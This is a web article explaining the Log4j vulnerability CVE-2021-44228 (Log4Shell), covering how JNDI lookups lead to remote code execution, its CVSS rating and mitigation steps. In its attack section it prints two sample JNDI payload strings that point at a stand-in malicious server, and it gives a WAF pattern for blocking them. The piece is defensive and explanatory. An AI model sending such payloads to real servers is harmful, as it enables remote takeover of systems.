Critical Vulnerability in Java Log4j Library Threatens Millions of Servers

Online Python Trainer for Beginners

Learn Python easily without overwhelming theory. Solve practical tasks with automatic checking, get hints in Russian, and write code directly in your browser — no installation required.

Start Course

Critical vulnerability in the popular Java library Log4j: what every developer needs to know



On December 10, 2021, an event occurred in the Java developer community that cybersecurity experts have already called "one of the most serious threats of the decade." We are talking about the critical vulnerability CVE-2021-44228 in the Apache Log4j library — one of the most popular tools for logging in Java applications. The vulnerability allows an attacker to remotely execute arbitrary code (Remote Code Execution, RCE) on the server using just one line in an input field.



What is Log4j and why is it important?

Log4j is an open-source library that is used in virtually all major Java projects: from enterprise systems to cloud services (Amazon, Apple, Twitter, Minecraft, and thousands of others). The library is responsible for recording events (logs) — errors, warnings, and debugging information. The vulnerability affects Log4j versions 2.0 through 2.14.1.



How does the attack work?

The problem lies in the JNDI (Java Naming and Directory Interface) mechanism, which Log4j uses to substitute values from external sources. An attacker can send an HTTP request with a malicious string like:

  • ${jndi:ldap://malicious-server/exploit}
  • ${jndi:rmi://malicious-server/exploit}

If the application logs the content of this request (for example, User-Agent or header), Log4j executes a JNDI request to the specified server. In response, the server can download a malicious Java class to the attacked machine, giving the hacker full control over the server.



Why is the vulnerability considered critical?

Experts have assigned the vulnerability a maximum danger rating — 10.0 out of 10.0 on the CVSS scale. Reasons:

  • Ease of exploitation — no authentication or special skills are required.
  • Widespread impact — Log4j is used in millions of applications.
  • Difficulty of detection — the attack can remain unnoticed as it leaves no obvious traces in standard logs.


How to protect yourself?

Developers and administrators need to immediately take the following steps:

  • Update Log4j to version 2.15.0 or higher — the patch blocks the JNDI substitution mechanism by default.
  • Temporarily disable JNDI — if updating is not possible, add the JVM parameter: -Dlog4j2.formatMsgNoLookups=true.
  • Check dependencies — many libraries (Spring Boot, Struts, Hibernate) include Log4j as a transitive dependency. Use Maven/Gradle to find outdated versions.
  • Monitor traffic — configure WAF (Web Application Firewall) rules to block requests containing ${jndi:.


Conclusion

The vulnerability in Log4j is a reminder that even the most trusted components can contain fatal errors. For the Java community, this event has become a reason to reconsider the approach to dependency management and software supply chain security. If you use Java in your projects, check your Log4j version.

Recommended Libraries